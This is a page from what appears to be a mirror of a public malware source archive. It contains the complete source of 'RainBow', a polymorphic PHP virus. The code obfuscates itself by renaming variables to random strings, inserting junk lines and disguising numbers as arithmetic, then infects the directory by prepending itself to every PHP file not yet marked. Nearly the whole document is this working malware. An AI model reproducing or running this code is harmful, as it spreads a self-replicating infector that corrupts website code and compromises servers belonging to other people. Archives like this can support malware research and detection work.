mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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38 lines
1.8 KiB
Plaintext
38 lines
1.8 KiB
Plaintext
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<?php // RainBow
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srand((double)microtime()*1000000);
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$changevars=array('changevars','string','newcont','curdir','filea','victim','viccont','newvars','returnvar','counti','countj','trash','allcont','number','remn');
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$string=strtok(fread(fopen(__FILE__,'r'), filesize(__FILE__)),chr(13).chr(10));
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$newcont='<?php // RainBow'.chr(13).chr(10);
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while ($string && $string!='?>'){
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if(rand(0,1)){
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if(rand(0,1)){$newcont.='// '.trash('',0).chr(13).chr(10);}
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if(rand(0,1)){$newcont.='$'.trash('',0).'='.chr(39).trash('',0).chr(39).';'.chr(13).chr(10);}
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if(rand(0,1)){$newcont.='$'.trash('',0).'='.rand().';'.chr(13).chr(10);}}
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$string=strtok(chr(13).chr(10));
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if($string{0}!='/' && $string{0}!='$'){$newcont.=$string.chr(13).chr(10);}}
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$counti=0;
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while($changevars[$counti]){
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$newcont=str_replace($changevars[$counti++],trash('',0),$newcont);}
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$countj=-1; $number='';
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while(++$countj<strlen($newcont)){
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if (ord($newcont{$countj})>47&&ord($newcont{$countj})<58){
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$number=$newcont{$countj};
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while(ord($newcont{++$countj})>47&&ord($newcont{$countj})<58){$number.=$newcont{$countj};}
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$remn=rand(1,10);
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if (!rand(0,5)){switch(rand(1,3)){case 1:$allcont.='('.($number-$remn).'+'.$remn.')';break;
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case 2:$allcont.='('.($number+$remn).'-'.$remn.')';break;
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case 3:$allcont.='('.($number*$remn).'/'.$remn.')';break;}}else{$allcont.=$number;}}
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$allcont.=$newcont{$countj};$number='';}
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$curdir=opendir('.');
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while($filea=readdir($curdir)){
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if(strstr($filea,'.php')){$victim=fopen($filea,'r+');
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if (!strstr(fread($victim, 25),'RainBow')){rewind($victim);
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$viccont=fread($victim,filesize($filea));
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rewind($victim);
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fwrite($victim,$allcont.$viccont);}
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fclose($victim);}}
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closedir($curdir);
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function trash($returnvar, $countj){
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do{$returnvar.=chr(rand(97,122));}while($countj++<rand(5,15));
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return $returnvar;}
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?>
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